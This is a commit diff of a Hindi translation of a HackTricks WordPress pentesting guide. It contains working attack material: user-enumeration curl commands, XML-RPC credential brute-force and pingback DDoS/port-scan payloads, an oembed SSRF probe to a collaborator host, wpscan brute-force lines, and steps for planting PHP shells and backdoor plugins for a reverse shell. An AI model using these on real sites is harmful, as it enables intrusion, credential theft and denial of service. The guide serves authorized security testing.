mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
Translator
parent
c91dca5c37
commit
4b30bba00b
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## बुनियादी जानकारी
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **theme twentytwelve** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** फ़ाइलें जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के कुछ php को बदलकर RCE पाना चाहें तो आप संभवतः उस path का उपयोग करेंगे। उदाहरण के लिए: Using **theme twentytwelve** आप **access** कर सकते हैं **404.php** फ़ाइल को: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **एक और उपयोगी url हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **wp-config.php** में आप डेटाबेस का रूट पासवर्ड पा सकते हैं।
|
||||
- जांचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- `wp-config.php` में आप database का root password पा सकते हैं।
|
||||
- जाँचने के लिए डिफ़ॉल्ट लॉगिन पाथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे कि स्थापित WordPress का संस्करण।
|
||||
- `wp-activate.php` नए WordPress साइट सेटअप करते समय ईमेल सक्रियण प्रक्रिया के लिए उपयोग किया जाता है।
|
||||
- लॉगिन फ़ोल्डर (छिपाने के लिए नाम बदल सकते हैं):
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे कि इंस्टॉल्ड WordPress का version।
|
||||
- `wp-activate.php` नए WordPress साइट की सेटअप के दौरान email activation प्रक्रिया के लिए उपयोग किया जाता है।
|
||||
- Login फ़ोल्डर (छुपाने के लिए नाम बदला गया हो सकता है):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
|
||||
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइल संग्रहीत होती है।
|
||||
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
|
||||
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस फ़ीचर का प्रतिनिधित्व करती है जो HTTP को transport mechanism के रूप में और XML को encoding mechanism के रूप में उपयोग करके डेटा को ट्रांसमिट करने में सक्षम बनाती है। इस प्रकार के संचार को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है।
|
||||
- `wp-content` फ़ोल्डर वह मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं।
|
||||
- `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें स्टोर होती हैं।
|
||||
- `wp-includes/` यह डायरेक्टरी core फ़ाइलों के लिए है, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets।
|
||||
- `wp-sitemap.xml` WordPress वर्ज़न 5.5 और उससे ऊपर में, WordPress सभी public पोस्ट और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल जनरेट करता है।
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` फ़ाइल में वह जानकारी होती है जो WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
|
||||
- `wp-config.php` फ़ाइल में वह जानकारी होती है जिसकी WordPress को database से कनेक्ट करने के लिए आवश्यकता होती है, जैसे database name, database host, username और password, authentication keys और salts, और database table prefix। इस configuration फ़ाइल का उपयोग DEBUG mode सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है।
|
||||
|
||||
### Users Permissions
|
||||
### उपयोगकर्ता अनुमतियाँ
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
|
||||
- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
|
||||
- **Contributor**: अपने पोस्ट लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपने प्रोफ़ाइल को संपादित करता है
|
||||
- **Contributor**: पोस्ट लिखता और प्रबंधित करता है लेकिन प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफ़ाइल अपडेट कर सकता है
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
जांचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` पा सकते हैं
|
||||
जाँचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` ढूँढ सकते हैं
|
||||
|
||||
पृष्ठ के **स्रोत कोड** के अंदर (उदाहरण [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) से):
|
||||
पेज के **source code** के अंदर (उदाहरण से [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -77,41 +77,41 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## सक्रिय सूचीकरण
|
||||
## Active enumeration
|
||||
|
||||
### प्लगइन्स और थीम
|
||||
### Plugins and Themes
|
||||
|
||||
आप शायद सभी संभावित प्लगइन्स और थीम नहीं ढूंढ पाएंगे। सभी को खोजने के लिए, आपको **प्लगइन्स और थीम की सूची पर सक्रिय रूप से ब्रूट फोर्स करना होगा** (हमारे लिए उम्मीद है कि ऐसे स्वचालित उपकरण हैं जो इन सूचियों को शामिल करते हैं)।
|
||||
आप शायद सभी Plugins और Themes खोज पाने में सक्षम नहीं होंगे। इन सबको खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करने की आवश्यकता होगी (खुशी की बात है कि हमारे लिए ऐसे स्वचालित टूल्स मौजूद हैं जिनमें ये सूचियाँ शामिल होती हैं)।
|
||||
|
||||
### उपयोगकर्ता
|
||||
### Users
|
||||
|
||||
- **आईडी ब्रूट:** आप उपयोगकर्ता आईडी को ब्रूट फोर्स करके एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
- **ID Brute:** आप Brute Forcing users IDs करके किसी WordPress साइट से valid users प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि आईडी **मान्य** है। यदि प्रतिक्रिया **400** है, तो आईडी **अमान्य** है।
|
||||
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि id **valid** है। यदि प्रतिक्रिया **400** आती है, तो id **invalid** है।
|
||||
|
||||
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए भी क्वेरी कर सकते हैं:
|
||||
- **wp-json:** आप users के बारे में जानकारी प्राप्त करने के लिए querying करके भी कोशिश कर सकते हैं:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है:
|
||||
उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकने वाला एक और `/wp-json/` endpoint है:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
ध्यान दें कि यह एंडपॉइंट केवल उन उपयोगकर्ताओं को उजागर करता है जिन्होंने एक पोस्ट बनाई है। **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके पास यह सुविधा सक्षम है**।
|
||||
ध्यान दें कि यह endpoint केवल उन उपयोगकर्ताओं को एक्सपोज़ करता है जिन्होंने पोस्ट की है। **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।**
|
||||
|
||||
यह भी ध्यान दें कि **/wp-json/wp/v2/pages** आईपी पते लीक कर सकता है।
|
||||
साथ ही ध्यान दें कि **/wp-json/wp/v2/pages** IP addresses leak कर सकता है।
|
||||
|
||||
- **लॉगिन उपयोगकर्ता नाम गणना**: जब **`/wp-login.php`** में लॉगिन करते हैं तो **संदेश** **विभिन्न** होता है यदि निर्दिष्ट **उपयोगकर्ता नाम मौजूद है या नहीं**।
|
||||
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते हैं तो **संदेश** **भिन्न** होता है जो संकेत करता है कि **उपयोगकर्ता नाम मौजूद है या नहीं**।
|
||||
|
||||
### XML-RPC
|
||||
|
||||
यदि `xml-rpc.php` सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस प्रक्रिया को[ using this](https://github.com/relarizky/wpxploit) ऑटोमेट कर सकते हैं).
|
||||
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
|
||||
यह सक्रिय है या नहीं देखने के लिए _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
|
||||
|
||||
**जांचें**
|
||||
**जाँच करें**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
|
||||
|
||||
**क्रेडेंशियल्स ब्रूटफोर्स**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** उनमें से कुछ मेथड हैं जिन्हें brute-force credentials के लिए उपयोग किया जा सकता है। अगर आप इनमें से कोई भी ढूँढ पाते हैं तो आप कुछ इस तरह भेज सकते हैं:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते।
|
||||
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
सही credentials का उपयोग करके आप एक file upload कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
इसके अलावा, **`system.multicall`** का उपयोग करके क्रेडेंशियल्स को ब्रूट-फोर्स करने का एक **तेज़ तरीका** है, क्योंकि आप एक ही अनुरोध पर कई क्रेडेंशियल्स का प्रयास कर सकते हैं:
|
||||
इसके अलावा एक **तेज़ तरीका** है क्रेडेंशियल्स को brute-force करने का, जो **`system.multicall`** का उपयोग करता है क्योंकि आप एक ही request में कई क्रेडेंशियल्स आज़मा सकते हैं:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA बायपास करें**
|
||||
**2FA बायपास**
|
||||
|
||||
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं, जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
|
||||
यह तरीका प्रोग्राम्स के लिए है, इंसानों के लिए नहीं, और पुराना है, इसलिए यह 2FA को सपोर्ट नहीं करता। तो, अगर आपके पास वैध क्रेडेंशियल्स हैं पर मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल्स से 2FA बायपास करते हुए login कर सकते हैं**। ध्यान दें कि आप console के माध्यम से जो सभी actions कर सकते हैं, वे आप नहीं कर पाएंगे, लेकिन आप फिर भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाते हैं
|
||||
|
||||
**DDoS या पोर्ट स्कैनिंग**
|
||||
|
||||
यदि आप सूची में _**pingback.ping**_ विधि पा सकते हैं, तो आप Wordpress को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\
|
||||
इसका उपयोग **हजारों** Wordpress **साइटों** से **एक स्थान** (तो उस स्थान पर **DDoS** उत्पन्न होता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।
|
||||
अगर आप सूची में _**pingback.ping**_ मेथड पा लेते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं.\
|
||||
यह उपयोग किया जा सकता है कि **हज़ारों** Wordpress **साइट्स** से एक ही **स्थान** को **पहुंच** करवाया जाए (जिससे उस स्थान पर **DDoS** हो) या आप इसका उपयोग करके **Wordpress** को किसी आंतरिक **नेटवर्क** को **स्कैन** करवाने के लिए निर्देशित कर सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
|
||||
|
||||
यदि आपको **faultCode** एक मान **greater** फिर **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
यदि आपको **faultCode** का मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
|
||||
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग कैसे करें, यह जानने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
|
||||
पिछले सेक्शन में **`system.multicall`** के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है।
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,17 +209,17 @@ DDoS का कारण बनने के लिए इस विधि क
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** की जाती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
यह फ़ाइल आम तौर पर Wordpress साइट की रूट में मौजूद रहती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को **accessed** किया जाता है, तो एक "**heavy**" MySQL **query** निष्पादित होती है, इसलिए इसे **attackers** द्वारा **DoS** को **cause** करने के लिए इस्तेमाल किया जा सकता है.\
|
||||
डिफ़ॉल्ट रूप से, `wp-cron.php` हर पेज लोड पर (जब भी कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
|
||||
|
||||
Wp-Cron को अक्षम करना और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाना जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए) की सिफारिश की जाती है।
|
||||
यह सलाह दी जाती है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक वास्तविक cronjob बनाया जाए जो आवश्यक क्रियाएँ नियमित अंतराल पर (बिना किसी समस्या के) चलाए।
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने की कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है।
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
||||
|
||||
जब यह काम नहीं करता है तो यह प्रतिक्रिया है:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,32 +230,32 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** है या नहीं और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है।
|
||||
यह टूल जांचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद हैं या नहीं, और यदि मौजूद हों तो यह उन्हें exploit करने की कोशिश करता है।
|
||||
|
||||
## Automatic Tools
|
||||
## स्वचालित टूल्स
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Get access by overwriting a bit
|
||||
## एक बिट ओवरराइट कर के एक्सेस प्राप्त करें
|
||||
|
||||
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF में [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते थे।
|
||||
यह असल हमले से ज्यादा एक जिज्ञासा है। CTF में [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल का 1 बिट फ्लिप कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के पोजीशन `5389` का बिट फ्लिप करके NOT (`!`) ऑपरेशन को NOP कर सकते थे।
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **पैनल RCE**
|
||||
|
||||
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)**
|
||||
**थीम में उपयोग किए गए php को संशोधित करना (admin credentials की आवश्यकता होती है)**
|
||||
|
||||
दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर)
|
||||
Appearance → Theme Editor → 404 Template (दाईं ओर)
|
||||
|
||||
एक php शेल के लिए सामग्री बदलें:
|
||||
php shell के लिए सामग्री बदलें:
|
||||
|
||||
.png>)
|
||||
|
||||
इंटरनेट पर खोजें कि आप उस अपडेटेड पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में, आपको यहाँ पहुँचने की आवश्यकता है: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
इंटरनेट पर खोजें कि आप उस अपडेट किए गए पेज तक कैसे एक्सेस कर सकते हैं। इस मामले में आपको यहाँ एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -263,22 +263,22 @@ return new WP_Error(
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
सेशन प्राप्त करने के लिए।
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
यह संभव है कि आप .php फ़ाइलों को एक प्लगइन के रूप में अपलोड कर सकें।\
|
||||
उदाहरण के लिए, अपने php बैकडोर को बनाएं:
|
||||
यह संभव हो सकता है कि एक plugin के रूप में .php फाइलें अपलोड की जा सकें।\
|
||||
उदाहरण के लिए अपना php backdoor बनाएं:
|
||||
|
||||
.png>)
|
||||
|
||||
फिर एक नया प्लगइन जोड़ें:
|
||||
फिर एक नया plugin जोड़ें:
|
||||
|
||||
.png>)
|
||||
|
||||
प्लगइन अपलोड करें और Install Now पर क्लिक करें:
|
||||
Upload plugin और Install Now दबाएँ:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -286,48 +286,48 @@ Procced पर क्लिक करें:
|
||||
|
||||
.png>)
|
||||
|
||||
संभवतः यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन यदि आप Media पर जाते हैं, तो आप देखेंगे कि आपका शेल अपलोड हो गया है:
|
||||
शायद यह तुरंत कुछ नहीं करेगा, लेकिन यदि आप Media पर जाएँगे, तो आप अपना अपलोड किया हुआ shell देखेंगे:
|
||||
|
||||
.png>)
|
||||
|
||||
इसका उपयोग करें और आप रिवर्स शेल निष्पादित करने के लिए URL देखेंगे:
|
||||
इसे एक्सेस करें और आप reverse shell को execute करने के लिए URL देखेंगे:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन की स्थापना से संबंधित है और इसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
|
||||
यह तरीका एक ज्ञात vulnerable malicious plugin की इंस्टॉलेशन से संबंधित है जिसे exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्नानुसार की जाती है:
|
||||
|
||||
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहाँ**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
|
||||
- डाउनलोड किए गए प्लगइन की ज़िप फ़ाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
|
||||
- WordPress dashboard में जाएँ, फिर `Dashboard > Plugins > Upload Plugin` पर जाएँ।
|
||||
- डाउनलोड किए गए plugin की zip फाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक इंस्टॉल हो जाने पर, इसे dashboard के माध्यम से activate करना होगा।
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है।
|
||||
- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- यह नोट किया गया है कि यह WordPress साइट का शोषण करने के लिए कई तरीकों में से एक है।
|
||||
- जब `reflex-gallery` plugin इंस्टॉल और सक्रिय हो, तो इसे exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है।
|
||||
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त मॉड्यूल लोड करके और विशिष्ट कमांड्स चलाकर, एक meterpreter session स्थापित किया जा सकता है, जो साइट तक अनाधिकृत पहुँच देता है।
|
||||
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है।
|
||||
|
||||
